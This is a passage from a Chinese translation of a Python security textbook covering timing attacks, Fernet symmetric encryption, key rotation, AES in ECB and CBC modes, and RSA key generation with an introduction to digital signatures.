始终使用 compare_digest 来比较哈希值。为了谨慎起见,即使你正在编写的代码只使用哈希值来验证数据完整性,也要使用 compare_digest。这个函数在本书的许多示例中都有使用,包括前一节的示例。compare_digest 的参数可以是字符串或字节。

时序攻击是一种特定类型的侧信道攻击。侧信道攻击 用于通过测量任何物理侧信道来推导出未经授权的信息。时间、声音、功耗、电磁辐射、无线电波和热量都是侧信道。认真对待这些攻击,因为它们不仅仅是理论上的。侧信道攻击已被用于破解加密密钥、伪造数字签名和获取未经授权的信息。

摘要

  • 通过密钥散列确保数据认证。

  • 如果一个人需要记住一个密钥,可以使用一个口令作为密钥。

  • 如果人类不需要记住一个密钥,可以使用一个随机数作为密钥。

  • HMAC 函数是你用于通用密钥散列的最佳选择。

  • Python 本身支持具有 hmac 模块的 HMAC 函数。

  • 通过在长度恒定的时间内比较哈希值来抵御时序攻击。

第四章:对称加密

本章涵盖内容

  • 使用加密确保机密性

  • 介绍 cryptography 包

  • 选择对称加密算法

  • 旋转加密密钥

在本章中,我将向你介绍cryptography包。你将学习如何使用这个包的加密 API 来确保机密性。前几章的键授权哈希和数据认证也会出现。在此过程中,你将学习有关密钥旋转的知识。最后,我将向你展示如何区分安全和不安全的对称分组密码。

4.1 什么是加密?

加密始于明文。明文是可以轻易理解的信息。《葛底斯堡演说》、一张猫的图片和一个 Python 包都是潜在的明文示例。加密是将明文混淆以隐藏信息不被未经授权的人看到。加密后的输出称为密文

加密的逆过程,将密文转换回明文,称为解密。用于加密和解密数据的算法称为密码。每个密码都需要一个密钥。密钥旨在成为授权访问加密信息的各方之间的秘密(图 4.1)。

CH04_F01_Byrne

图 4.1 明文是加密的人类可读输入和解密的输出;密文是加密的机器可读输出和解密的输入。

加密确保机密性。机密性是安全系统设计的一个原子构建块,就像前几章中的数据完整性和数据认证一样。与其他构建块不同,机密性没有复杂的定义;它是隐私的保证。在本书中,我将机密性分为两种隐私形式:

  • 个人隐私

  • 群体隐私

举个例子,假设爱丽丝想要写和读取敏感数据,并且没有打算让其他人阅读。爱丽丝可以通过加密她写的内容和解密她读的内容来保证个人隐私。这种隐私形式是对第一章讨论的静态和传输中的加密的补充。

或者,假设爱丽丝想要与鲍勃交换敏感数据。爱丽丝和鲍勃可以通过加密他们发送的内容和解密他们接收的内容来保证群体隐私。这种隐私形式是对静态和传输中的加密的补充。

在这一章中,你将学习如何使用 Python 和cryptography包实现静态加密。要安装这个包,我们必须首先安装一个安全的包管理器。

4.1.1 包管理

在本书中,我使用 Pipenv 进行包管理。我选择这个包管理器是因为它配备了许多安全功能。其中一些功能在第十三章中介绍。

注意 有许多 Python 包管理器,您不必使用与我相同的包管理器来运行本书中的示例。您可以自由选择使用 pipvenv 等工具跟随,但您将无法利用 Pipenv 提供的多个安全功能。

要安装 Pipenv,请根据您的操作系统选择以下命令之一。不建议使用 Homebrew(macOS)或 LinuxBrew(Linux)安装 Pipenv。

$ sudo apt install pipenv    # ❶
$ sudo dnf install pipenv    # ❷
$ pkg install py36-pipenv    # ❸
$ pip install --user pipenv  # ❹

❶ 在 Debian Buster+ 上

❷ 在 Fedora 上

❸ 在 FreeBSD 上

❹ 在所有其他操作系统上

接下来,运行以下命令。此命令在当前目录中创建两个文件,Pipfile 和 Pipfile.lock。Pipenv 使用这些文件来管理您的项目依赖项:

$ pipenv install

除了 Pipfiles,上一个命令还创建了一个虚拟环境。这是一个针对 Python 项目的隔离、自包含的环境。每个虚拟环境都有自己的 Python 解释器、库和脚本。通过为每个 Python 项目提供自己的虚拟环境,可以防止它们相互干扰。运行以下命令以激活您的新虚拟环境:

$ pipenv shell

警告 为自己做个好事,并在您的虚拟环境 shell 中运行本书中的每个命令。这确保您编写的代码能够找到正确的依赖关系。它还确保您安装的依赖关系不会与其他本地 Python 项目发生冲突。

与普通的 Python 项目一样,您应该在虚拟环境中运行本书中的命令。在下一节中,您将在此环境中安装许多依赖项的第一个,即 cryptography 包。作为 Python 程序员,这个包是您唯一需要的加密库。

4.2 cryptography

与其他一些编程语言不同,Python 没有原生的加密 API。少数开源框架占据了这一领域。最受欢迎的 Python 加密包是 cryptographypycryptodome。在本书中,我专门使用 cryptography 包。我更喜欢这个包,因为它有一个更安全的 API。在本节中,我将介绍这个 API 的最重要部分。

使用以下命令将 cryptography 包安装到您的虚拟环境中:

$ pipenv install cryptography

cryptography 包的默认后端是 OpenSSL。这个开源库包含了网络安全协议和通用加密函数的实现。这个库主要用 C 语言编写。OpenSSL 被许多其他开源库所包装,比如主要编程语言中的 cryptography 包。

cryptography 包的作者将 API 分为两个级别:

  • 危险材料层,一个复杂的低级 API

  • 配方层,一个简单的高级 API

4.2.1 危险材料层

位于cryptography.hazmat之下的复杂低级 API 被称为危险材料层。在生产系统中使用这个 API 之前三思。危险材料层的文档(cryptography.io/en/latest/hazmat/primitives/)中写道:“只有当你百分之百确定自己知道在做什么时才应该使用它,因为这个模块充满了地雷、龙和带激光枪的恐龙。” 安全地使用这个 API 需要对加密学有深入的了解。一个微小的错误可能使系统变得脆弱。

危险材料层的有效使用案例寥寥无几。例如:

  • 你可能需要这个 API 来加密文件,文件太大无法放入内存。

  • 你可能被迫使用一种罕见的加密算法处理数据。

  • 你可能正在阅读一本使用这个 API 作为教学目的的书。

4.2.2 Recipes layer

简单的高级 API 被称为recipes layercryptography包的文档(cryptography.io/en/latest/)中写道:“我们建议尽可能使用 recipes layer,并仅在必要时回退到 hazmat layer。” 这个 API 将满足大多数 Python 程序员的加密需求。

recipes layer 是一个称为fernet的对称加密方法的实现。这个规范定义了一种旨在以可互操作的方式抵抗篡改的加密协议。这个协议由一个类Fernet封装,在cryptography.fernet之下。

Fernet类被设计为加密数据的通用工具。Fernet.generate_key方法生成 32 个随机字节。Fernet的 init 方法接受这个密钥,如下所示:

>>> from cryptography.fernet import Fernet     # ❶
>>> 
>>> key = Fernet.generate_key()
>>> fernet = Fernet(key)

❶ 在cryptography.fernet之下是简单的高级 API。

在内部,Fernet将密钥参数分成两个 128 位密钥。一个用于加密,另一个用于数据认证。(你在上一章学过数据认证。)

Fernet.encrypt方法不仅加密明文,还使用 HMAC-SHA256 对密文进行哈希。换句话说,密文变成了一条消息。密文和哈希值一起作为一个fernet token对象返回,如下所示:

>>> token = fernet.encrypt(b'plaintext')    # ❶

❶ 加密明文,哈希密文

图 4.2 展示了如何使用密文和哈希值构建一个 fernet token。为简单起见,加密和有键哈希的密钥被省略。

CH04_F02_Byrne

图 4.2 Fernet 不仅加密明文,还对密文进行了哈希。

Fernet.decrypt 方法是 Fernet.encrypt 的反方法。该方法从 Fernet 令牌中提取密文并使用 HMAC-SHA256 进行身份验证。如果新的哈希值与 Fernet 令牌中的旧哈希值不匹配,则会引发 InvalidToken 异常。如果哈希值匹配,则解密并返回密文:

>>> fernet.decrypt(token)     # ❶
b'plaintext'

❶ 身份验证和解密密文

图 4.3 描述了解密方法如何解构 Fernet 令牌。与上一图一样,解密和数据认证的密钥被省略了。

CH04_F03_Byrne

图 4.3 Fernet 不仅对密文进行解密,还对其进行身份验证。

你可能想知道为什么 Fernet 确保密文身份验证而不只是保密性。保密性的价值直到与数据认证结合才能完全实现。例如,假设 Alice 打算实现个人隐私。她分别加密和解密她写的和读的内容。通过隐藏她的密钥,Alice 知道她是唯一能解密密文的人,但这本身并不能保证她创建了密文。通过对密文进行身份验证,Alice 增加了一层防御,防止 Mallory 修改密文。

假设 Alice 和 Bob 想要实现群体隐私。双方分别加密和解密他们发送和接收的内容。通过隐藏密钥,Alice 和 Bob 知道 Eve 无法窃听他们的对话,但仅凭这一点不能保证 Alice 实际上收到了 Bob 发送的内容,反之亦然。只有数据认证才能为 Alice 和 Bob 提供这一保证。

Fernet 令牌是一项安全功能。每个 Fernet 令牌都是不透明的字节数组;没有正式的 FernetToken 类来存储密文和哈希值的属性。如果你真的想要,你可以提取这些值,但这会变得混乱。Fernet 令牌是这样设计的,以阻止你尝试做任何容易出错的事情,比如使用自定义代码解密或身份验证,或在身份验证之前进行解密。该 API 提倡“不要自己编写加密算法”,这是第一章介绍的最佳实践。Fernet 故意设计成易于安全使用而难于不安全使用。

一个 Fernet 对象可以解密由具有相同密钥的 Fernet 对象创建的任何 Fernet 令牌。你可以丢弃一个 Fernet 实例,但密钥必须被保存和保护。如果密钥丢失,明文将无法恢复。在下一节中,你将学习如何使用 Fernet 的配套工具 MultiFernet 轮换密钥。

4.2.3 密钥轮换

密钥轮换 用于将一个密钥替换为另一个密钥。为了废弃一个密钥,必须用它生成的所有密文进行解密,并使用下一个密钥重新加密。密钥可能因多种原因而需要进行轮换。一旦密钥受到损害,必须立即废弃。有时候当一个能够访问密钥的人员离开组织时,必须对密钥进行轮换。定期进行密钥轮换可以限制密钥受损的损害,但无法降低密钥受损的概率。

Fernet 结合 MultiFernet 类实现密钥轮换。假设要用新密钥替换旧密钥。使用这两个密钥实例化单独的 Fernet 实例。使用这两个 Fernet 实例实例化单个 MultiFernet 实例。MultiFernet 的 rotate 方法将使用旧密钥解密所有使用旧密钥加密的内容,并使用新密钥重新加密。一旦所有令牌都使用新密钥重新加密,就可以安全地废弃旧密钥。以下清单演示了使用 MultiFernet 进行密钥轮换。

清单 4.1 使用 MultiFernet 进行密钥轮换

from cryptography.fernet import Fernet, MultiFernet

old_key = read_key_from_somewhere_safe()
old_fernet = Fernet(old_key)

new_key = Fernet.generate_key()
new_fernet = Fernet(new_key)

multi_fernet = MultiFernet([new_fernet, old_fernet])        # ❶
old_tokens = read_tokens_from_somewhere_safe()              # ❶
new_tokens = [multi_fernet.rotate(t) for t in old_tokens]   # ❶

replace_old_tokens(new_tokens)                              # ❷
replace_old_key_with_new_key(new_key)                       # ❷
del old_key                                                 # ❷

for new_token in new_tokens:                                # ❸
    plaintext = new_fernet.decrypt(new_token)               # ❸

❶ 使用旧密钥解密,使用新密钥加密

❷ 弃用旧密钥,启用新密钥

❸ 需要新密钥才能解密新密文

密钥的角色决定了加密算法所属的类别。下一节将介绍 Fernet 所属的类别。

4.3 对称加密

如果一个加密算法使用相同的密钥进行加密和解密,就像 Fernet 封装的那种,我们称之为 对称。对称加密算法进一步分为两类:分组密码和流密码。

4.3.1 分组密码

分组密码 将明文加密为一系列固定长度的块。每个明文块被加密为一个密文块。块大小取决于加密算法。较大的块大小通常被认为更安全。图 4.4 演示了将三个明文块加密为三个密文块。

CH04_F04_Byrne

图 4.4 一个分组密码接受 N 个明文分组,并产生 N 个密文分组。

有许多种对称加密算法。对于程序员来说,面对这些选择可能会感到不知所措。哪些算法是安全的?哪些算法是快速的?这些问题的答案实际上相当简单。当你阅读本节时,你将明白其中的道理。以下是几个常见的分组密码的例子:

  • 三重 DES

  • Blowfish

  • Twofish

  • 高级加密标准

三重 DES

三重 DES (3DES) 是数据加密标准 (DES) 的一种改进。顾名思义,这个算法在内部使用 DES 进行三次加密,因此被认为速度较慢。3DES 使用 64 位块大小和 56、112 或 168 位的密钥大小。

警告 3DES 已被 NIST 和 OpenSSL 废弃。不要使用 3DES(有关更多信息,请访问 mng.bz/pJoG)。

Blowfish

Blowfish 是由 Bruce Schneier 在 1990 年代初开发的。该算法使用 64 位块大小和 32 到 448 位的可变密钥大小。Blowfish 作为第一个主要没有专利的免费加密算法而获得了普及。

警告 Blowfish 在 2016 年失去了声望,因为它的分组大小使其容易受到一种名为 SWEET32 的攻击的影响。不要使用 Blowfish。即使 Blowfish 的创造者也建议使用 Twofish 替代。

Twofish

Twofish 在 1990 年代末作为 Blowfish 的后继者开发。该算法使用 128 位块大小和 128、192 或 256 位的密钥大小。Twofish 受到密码学家的尊重,但没有享受到其前身的流行。在 2000 年,Twofish 成为了一个为期三年的竞赛,被称为高级加密标准过程的决赛选手。你可以安全地使用 Twofish,但为什么不做每个人都做的事情,使用赢得这个比赛的算法呢?

高级加密标准

Rijndael 是一个由 NIST 在 2001 年标准化的加密算法,它在高级加密标准过程中击败了十多种其他密码。你可能从来没有听说过这个算法,尽管你经常使用它。这是因为 Rijndael 在被高级加密标准过程选中后采用了高级加密标准的名称。高级加密标准不仅仅是一个名称;它是一个竞赛称号。

高级加密标准 (AES) 是典型应用程序员需要了解的唯一对称加密算法。该算法使用 128 位块大小和 128、192 或 256 位的密钥大小。它是对称加密的典范。AES 的安全记录非常强大和广泛。AES 加密的应用包括网络协议如 HTTPS、压缩、文件系统、哈希和虚拟私人网络 (VPN)。还有哪些加密算法有自己的硬件指令?即使你试过,也无法建立一个不使用 AES 的系统。

如果你到现在还没有猜到,Fernet 在底层使用的是 AES。AES 应该是程序员在一般情况下选择的第一个通用加密方法。保持安全,不要试图聪明,忘记其他的分组密码。下一节将介绍流密码。

4.3.2 流密码

密码 不会按块处理明文。相反,明文被处理为一个个独立的字节流;一个字节进,一个字节出。顾名思义,流密码擅长加密连续或未知量的数据。这些密码通常被网络协议使用。

当明文非常小的时候,流密码比块密码有优势。例如,假设您正在使用块密码加密数据。您想加密 120 位的明文,但块密码将明文加密为 128 位块。块密码将使用填充方案来补偿 8 位的差异。通过使用 8 位填充,块密码可以操作,就好像明文位数是块大小的倍数一样。现在考虑当您需要加密仅 8 位的明文时会发生什么。块密码必须使用 120 位的填充。不幸的是,这意味着超过 90%的密文可以归因于填充。流密码避免了这个问题。它们不需要填充方案,因为它们不将明文处理为块。

RC4 和 ChaCha 都是流密码的示例。RC4 在网络协议中广泛使用,直到发现了半打漏洞。这种密码已被放弃,不应再使用。另一方面,ChaCha 被认为是安全的,而且无疑是快速的。您将在第六章中看到 ChaCha 的出现,那里我将介绍 TLS,一个安全的网络协议。

尽管流密码速度快且高效,但比块密码需求少。不幸的是,流密码的密文通常比块密码的密文更容易被篡改。在某些模式下,块密码也可以模拟流密码。下一节介绍了加密模式。

4.3.3 加密模式

对称加密算法在不同模式下运行。每种模式都有优点和缺点。当应用程序开发人员选择对称加密策略时,讨论通常不围绕块密码与流密码,或者使用哪种加密算法展开。相反,讨论围绕在哪种加密模式下运行 AES 展开。

电子密码本模式

电子密码本ECB模式是最简单的模式。以下代码演示了如何在 ECB 模式下使用 AES 加密数据。使用cryptography包的低级 API,此示例创建了一个具有 128 位密钥的加密密码。明文通过update方法输入到加密密码中。为了简单起见,明文是一个未填充的单个文本块:

>>> from cryptography.hazmat.backends import default_backend
>>> from cryptography.hazmat.primitives.ciphers import (
...     Cipher, algorithms, modes)
>>> 
>>> key = b'key must be 128, 196 or 256 bits'
>>> 
>>> cipher = Cipher(
...     algorithms.AES(key),                             # ❶
...     modes.ECB(),                                     # ❶
...     backend=default_backend())                       # ❷
>>> encryptor = cipher.encryptor()
>>> 
>>> plaintext = b'block size = 128'                      # ❸
>>> encryptor.update(plaintext) + encryptor.finalize()
b'G\xf2\xe2J]a;\x0e\xc5\xd6\x1057D\xa9\x88'              # ❹

❶ 使用 AES 在 ECB 模式下

❷ 使用 OpenSSL

❸ 一段纯文本块

❹ 一段密文块

ECB 模式异常脆弱。具有讽刺意味的是,ECB 模式的弱点使其成为教学的强大选择。ECB 模式不安全,因为它将相同的明文块加密为相同的密文块。这意味着 ECB 模式易于理解,但攻击者也很容易从密文中的模式推断出明文中的模式。

图 4.5 展示了这种弱点的一个经典示例。您在左侧看到一张普通的图像,右侧是它的实际加密版本。1

CH04_F05_Byrne

图 4.5 在使用 ECB 模式加密时,明文中的模式会在密文中产生相应的模式。

ECB 模式不仅会揭示明文中的模式;它还会揭示明文之间的模式。例如,假设 Alice 需要加密一组明文。她错误地认为在 ECB 模式下加密它们是安全的,因为每个明文中都没有模式。然后 Mallory 未经授权地获得了密文。在分析密文时,Mallory 发现有些密文是相同的;然后她得出结论相应的明文也是相同的。为什么?Mallory,不像 Alice,知道 ECB 模式会将匹配的明文加密为匹配的密文。

警告:永远不要在生产系统中使用 ECB 模式加密数据。即使您使用像 AES 这样的安全加密算法,也不能安全使用 ECB 模式。

如果攻击者未经授权地获得您的密文,他们不应该能够推断出有关您的明文的任何信息。一个好的加密模式,如下面描述的那样,会混淆明文之间和明文内的模式。

密码块链接模式

密码块链接CBC模式通过确保每个块的更改会影响所有后续块的密文,克服了 ECB 模式的一些弱点。正如图 4.6 所示,输入模式不会导致输出模式。2

CH04_F06_Byrne

图 4.6 在使用 CBC 模式加密时,明文中的模式不会在密文中产生相应的模式。

CBC 模式在使用相同密钥加密相同明文时也会产生不同的密文。CBC 模式通过使用初始化向量(IV)对明文进行个性化。与明文和密钥一样,IV 是加密密码的输入之一。AES 在 CBC 模式下要求每个 IV 都是不可重复的随机 128 位数字。

以下代码使用 CBC 模式的 AES 加密了两个相同的明文块。两个明文块都由两个相同的块组成,并与唯一的 IV 配对。请注意,两个密文都是唯一的,且都不包含模式:

>>> import secrets
>>> from cryptography.hazmat.backends import default_backend
>>> from cryptography.hazmat.primitives.ciphers import (
...     Cipher, algorithms, modes)
>>> 
>>> key = b'key must be 128, 196 or 256 bits'
>>> 
>>> def encrypt(data):
...     iv = secrets.token_bytes(16)      # ❶
...     cipher = Cipher(
...         algorithms.AES(key),          # ❷
...         modes.CBC(iv),                # ❷
...         backend=default_backend())
...     encryptor = cipher.encryptor()
...     return encryptor.update(data) + encryptor.finalize()
... 
>>> plaintext = b'the same message' * 2   # ❸
>>> x = encrypt(plaintext)                # ❹
>>> y = encrypt(plaintext)                # ❹
>>> 
>>> x[:16] == x[16:]                      # ❺
False                                     # ❺
>>> x == y                                # ❻
False                                     # ❻

❶ 生成 16 个随机字节

❷ 使用 AES 在 CBC 模式下。

❸ 两个相同的明文块

❹ 加密相同的明文

❺ 密文中没有模式

❻ 密文之间没有模式

IV 在加密和解密时是必需的。与密文和密钥一样,IV 是解密密码的输入之一,必须保存。如果明文丢失,则无法恢复。

Fernet 使用 CBC 模式的 AES 加密数据。通过使用Fernet,您不必担心生成或保存 IV。Fernet会为每个明文自动生成一个合适的 IV。IV 嵌入在 fernet 令牌中,紧邻密文和哈希值。Fernet还会在解密密文之前从令牌中提取 IV。

警告:一些程序员不幸地想要隐藏 IV,就像它是一个密钥一样。请记住,IV 必须保存但不是密钥。密钥用于加密一个或多个消息;IV 用于加密一个且仅一个消息。密钥是保密的;IV 通常与密文一起保存,没有混淆。如果攻击者未经授权地访问了密文,请假设他们拥有 IV。没有密钥,攻击者实际上仍然一无所获。

除了 ECB 和 CBC 外,AES 还以许多其他模式运行。其中一种模式,Galois/counter mode(GCM),允许像 AES 这样的块密码模拟流密码。你将在第六章再次见到 GCM。

摘要

  • 加密确保机密性。

  • Fernet 是对称加密和认证数据的安全简便方法。

  • MultiFernet 使密钥轮换变得不那么困难。

  • 对称加密算法使用相同的密钥进行加密和解密。

  • AES 是对称加密的首选,可能也是最后的选择。


  1. 左侧的图像来自 en.wikipedia.org/wiki/ile:Tux.jpg。该图像归功于 Larry Ewing,lewing@isc.tamu.edu,以及 GIMP。右侧的图像来自 en.wikipe dia.org/wiki/File:Tux_ecb.jpg

  2. 左侧的图像来自 en.wikipedia.org/wiki/File:Tux.jpg。该图像归功于 Larry Ewing,lewing@isc.tamu.edu,以及 GIMP。右侧的图像来自 en.wikipe dia.org/wiki/File:Tux_ecb.jpg

第五章:非对称加密

本章内容包括

  • 介绍密钥分发问题

  • 使用cryptography包演示非对称加密

  • 通过数字签名确保不可否认性

在上一章中,你学会了如何使用对称加密确保机密性。不幸的是,对称加密并非万灵药。单独来说,对称加密不适用于密钥分发,这是密码学中的一个经典问题。在本章中,你将学习如何使用非对称加密解决这个问题。在此过程中,你将更多地了解名为cryptography的 Python 包。最后,我将向你展示如何通过数字签名确保不可否认性。

5.1 密钥分发问题

当加密者和解密者是同一方时,对称加密效果很好,但它的扩展性不佳。假设 Alice 想要向 Bob 发送一条保密消息。她加密消息并将密文发送给 Bob。Bob 需要 Alice 的密钥来解密消息。现在 Alice 必须找到一种方法将密钥分发给 Bob,而不被 Eve,一个窃听者,拦截密钥。Alice 可以用第二个密钥加密她的密钥,但她如何安全地将第二个密钥发送给 Bob?Alice 可以用第三个密钥加密她的第二个密钥,但她如何...你明白了。密钥分发是一个递归问题。

如果 Alice 想向像 Bob 这样的 10 个人发送消息,问题就会变得更加严重。即使 Alice 将密钥物理分发给所有方,如果 Eve 从任何一个人那里获取了密钥,她将不得不重复这项工作。更换密钥的概率和成本将增加十倍。另外,Alice 可以为每个人管理不同的密钥——工作量增加一个数量级。这个密钥分发问题是非对称加密的灵感之一。

5.2 非对称加密

如果一个加密算法,如 AES,使用相同的密钥进行加密和解密,我们称之为对称。如果一个加密算法使用两个不同的密钥进行加密和解密,我们称之为非对称。密钥被称为密钥对

密钥对由一个私钥和一个公钥组成。私钥由所有者隐藏。公钥公开分发给任何人;它不是一个秘密。私钥可以解密公钥加密的内容,反之亦然。

非对称加密,如图 5.1 所示,是解决密钥分发问题的经典解决方案。假设 Alice 想要安全地向 Bob 发送一条保密消息,使用公钥加密。Bob 生成一个密钥对。私钥保密,公钥公开分发给 Alice。如果 Eve 看到 Bob 向 Alice 发送的公钥,没关系;那只是一个公钥。现在 Alice 使用 Bob 的公钥加密她的消息。她公开将密文发送给 Bob。Bob 接收到密文,并使用他的私钥解密它——唯一可以解密 Alice 消息的密钥。

CH05_F01_Byrne

图 5.1 Alice 通过公钥加密机密地向 Bob 发送消息。

此解决方案解决了两个问题。首先,密钥分发问题已经解决。如果 Eve 设法获取到 Bob 的公钥和 Alice 的密文,她无法解密消息。只有 Bob 的私钥才能解密由 Bob 的公钥产生的密文。其次,此解决方案可扩展。如果 Alice 想把她的消息发送给 10 个人,每个人只需要生成自己的唯一密钥对。如果 Eve 成功地破坏了某个人的私钥,这不会影响其他参与者。

此部分演示了公钥加密的基本思想。下一节演示了如何使用史上最广泛使用的公钥密码系统在 Python 中执行此操作。

5.2.1 RSA 公钥加密

RSA 是一种经受住时间考验的经典非对称加密的例子。这个公钥密码系统是由 Ron Rivest、Adi Shamir 和 Leonard Adleman 在 1970 年代末期开发的。这个缩写代表了创建者的姓氏。

以下的 openssl 命令演示了如何使用 genpkey 子命令生成一个 3072 位的 RSA 私钥。在撰写本文时,RSA 密钥应至少为 2048 位:

$ openssl genpkey -algorithm RSA \      # ❶
    -out private_key.pem \              # ❷
    -pkeyopt rsa_keygen_bits:3072       # ❸

❶ 生成 RSA 密钥

❷ 生成私钥文件到这个路径

❸ 使用 3072 位的密钥大小

注意 RSA 密钥和 AES 密钥之间的大小差异。为了达到可比较的强度,RSA 密钥需要比 AES 密钥大得多。例如,AES 密钥的最大大小是 256 位:这样大小的 RSA 密钥就是个笑话。这种对比反映了这些算法用于加密数据的基础数学模型。RSA 加密使用整数因子分解;AES 加密使用替换-置换网络。一般来说,用于非对称加密的密钥需要比用于对称加密的密钥更大。

以下 openssl 命令演示了如何使用 rsa 子命令从私钥文件中提取 RSA 公钥:

$ openssl rsa -pubout -in private_key.pem -out public_key.pem

私钥和公钥有时存储在文件系统中。重要的是要管理这些文件的访问权限。私钥文件不应该对除所有者以外的任何人可读或可写。另一方面,公钥文件可以被任何人读取。以下命令演示了如何在类 Unix 系统上限制对这些文件的访问:

$ chmod 600 private_key.pem   # ❶
$ chmod 644 public_key.pem    # ❷

❶ 拥有者具有读取和写入权限。

❷ 任何人都可以读取这个文件。

注意:与对称密钥一样,非对称密钥在生产源代码或文件系统中没有用武之地。这样的密钥应该安全地存储在诸如亚马逊的 AWS 密钥管理服务(aws.amazon.com/kms/)和谷歌的 Cloud 密钥管理服务(cloud.google.com/security-key-management)之类的密钥管理服务中。

OpenSSL 将密钥串行化到磁盘上的格式称为增强隐私邮件PEM)。PEM 是编码密钥对的事实标准方式。如果您已经使用过 PEM 格式的文件,您可能会在每个文件中看到下面粗体显示的-----BEGIN头部:

-----BEGIN PRIVATE KEY-----
MIIG/QIBADANBgkqhkiG9w0BAQEFAASCBucwggbjAgEAAoIBgQDJ2Psz+Ub+VKg0
vnlZmm671s5qiZigu8SsqcERPlSk4KsnnjwbibMhcRlGJgSo5Vv13SMekaj+oCTl
...

-----BEGIN PUBLIC KEY-----
MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAydj7M/lG/lSoNL55WZpu
u9bOaomYoLvErKnBET5UpOCrJ548G4mzIXEZRiYEqOVb9d0jHpGo/qAk5VCwfNPG
...

或者,可以使用cryptography包生成密钥。列表 5.1 演示了如何使用rsa模块生成私钥。generate_private_key的第一个参数是本书不讨论的 RSA 实现细节(有关更多信息,请访问www.imperialviolet.org/2012/03/16/rsae.html)。第二个参数是密钥大小。生成私钥后,从中提取公钥。

用 Python 生成 RSA 密钥对的列表 5.1

from cryptography.hazmat.backends import default_backend    # ❶
from cryptography.hazmat.primitives import serialization    # ❶
from cryptography.hazmat.primitives.asymmetric import rsa   # ❶

private_key = rsa.generate_private_key(                     # ❷
    public_exponent=65537,                                  # ❷
    key_size=3072,                                          # ❷
    backend=default_backend(), )                            # ❷

public_key = private_key.public_key()                       # ❸

❶ 复杂的低级 API

❷ 私钥生成

❸ 公钥提取

注意 生产密钥对的生成在 Python 中很少进行。通常,这是通过命令行工具如opensslssh-keygen完成的。

下面的列表演示了如何将内存中的两个密钥序列化为磁盘上的 PEM 格式。

用 Python 序列化 RSA 密钥对的列表 5.2

private_bytes = private_key.private_bytes(                    # ❶
    encoding=serialization.Encoding.PEM,                      # ❶
    format=serialization.PrivateFormat.PKCS8,                 # ❶
    encryption_algorithm=serialization.NoEncryption(), )      # ❶

with open('private_key.pem', 'xb') as private_file:           # ❶
    private_file.write(private_bytes)                         # ❶

public_bytes = public_key.public_bytes(                       # ❷
    encoding=serialization.Encoding.PEM,                      # ❷
    format=serialization.PublicFormat.SubjectPublicKeyInfo, ) # ❷

with open('public_key.pem', 'xb') as public_file:             # ❷
    public_file.write(public_bytes)                           # ❷

❶ 私钥序列化

❷ 公钥序列化

不管密钥对如何生成,都可以使用下面列表中显示的代码将其加载到内存中。

用 Python 反序列化 RSA 密钥对的列表 5.3

with open('private_key.pem', 'rb') as private_file:            # ❶
   loaded_private_key = serialization.load_pem_private_key(    # ❶
       private_file.read(),                                    # ❶
       password=None,                                          # ❶
       backend=default_backend()                               # ❶
   )                                                           # ❶

with open('public_key.pem', 'rb') as public_file:              # ❷
   loaded_public_key = serialization.load_pem_public_key(      # ❷
       public_file.read(),                                     # ❷
       backend=default_backend()                               # ❷
   )                                                           # ❷

❶ 私钥反序列化

❷ 公钥反序列化

下一个列表演示了如何使用公钥加密并用私钥解密。与对称块密码一样,RSA 使用填充方案加密数据。

注意 最佳非对称加密填充(OAEP)是 RSA 加密和解密的推荐填充方案。

用 Python 进行 RSA 公钥加密和解密的列表 5.4

from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding

padding_config = padding.OAEP(                           # ❶
   mgf=padding.MGF1(algorithm=hashes.SHA256()),          # ❶
   algorithm=hashes.SHA256(),                            # ❶
   label=None, )                                         # ❶

plaintext = b'message from Alice to Bob'

ciphertext = loaded_public_key.encrypt(                  # ❷
   plaintext=plaintext,                                  # ❷
   padding=padding_config, )                             # ❷

decrypted_by_private_key = loaded_private_key.decrypt(   # ❸
   ciphertext=ciphertext,                                # ❸
   padding=padding_config)                               # ❸

assert decrypted_by_private_key == plaintext

❶ 使用 OAEP 填充

❷ 用公钥加密

❸ 用私钥解密

非对称加密是双向的。你可以用公钥加密,用私钥解密;或者,你可以反向操作——用私钥加密,用公钥解密。这给我们提供了保密性和数据认证之间的权衡。用公钥加密的数据是保密的;只有私钥的所有者才能解密消息,但任何人都可能是其作者。用私钥加密的数据是认证的;接收者知道消息只能由私钥进行授权,但任何人都可以解密它。

本节演示了公钥加密如何确保保密性。下一节演示了私钥加密如何确保不可否认性。

5.3 不可否认性

在第三章,你学会了 Alice 和 Bob 如何通过密钥散列来确保消息认证。Bob 发送了一条消息以及一个哈希值给 Alice。Alice 也对消息进行了哈希。如果 Alice 的哈希值与 Bob 的哈希值匹配,她可以得出两个结论:消息具有完整性,并且 Bob 是消息的创建者。

现在从第三方 Charlie 的角度考虑这种情况。Charlie 知道谁创建了这条消息吗?不,因为 Alice 和 Bob 都共享一把密钥。Charlie 知道消息是由他们中的一个创建的,但他不知道是哪一个。没有任何东西能阻止 Alice 在声称消息是由 Bob 发送的同时创建消息。没有任何东西能阻止 Bob 在声称消息是由 Alice 创建的同时发送消息。Alice 和 Bob 都知道消息的作者是谁,但他们无法向任何其他人证明作者是谁。

当一个系统阻止参与者否认他们的行为时,我们称之为不可否认性。在这种情况下,Bob 将无法否认他的行为,即发送消息。在现实世界中,不可否认性通常在消息代表在线交易时使用。例如,销售点系统可能以不可否认性作为将商业伙伴法律约束以履行协议的一种方式。这些系统允许第三方,如法律机构,验证每笔交易。

如果 Alice、Bob 和 Charlie 想要不可否认性,Alice 和 Bob 将不得不停止共享密钥并开始使用数字签名。

5.3.1 数字签名

数字签名比数据验证和数据完整性更进一步,以确保不可否认性。数字签名允许任何人,而不仅仅是接收者,回答两个问题:谁发送了消息?消息在传输过程中是否被修改?数字签名与手写签名有许多相似之处:

  • 两种签名类型都是签名者独特的。

  • 两种签名类型都可以用来将签署者与合同法律约束起来。

  • 两种签名类型都难以伪造。

数字签名通常是通过将哈希函数与公钥加密相结合而创建的。要对消息进行数字签名,发送方首先对消息进行哈希处理。哈希值和发送者的私钥然后成为一个非对称加密算法的输入;此算法的输出是消息发送者的数字签名。换句话说,明文是哈希值,密文是数字签名。然后一起传输消息和数字签名。图 5.2 描述了 Bob 如何实现此协议。

CH05_F02_Byrne

图 5.2 Bob 在发送给 Alice 之前使用私钥加密数字签名消息。

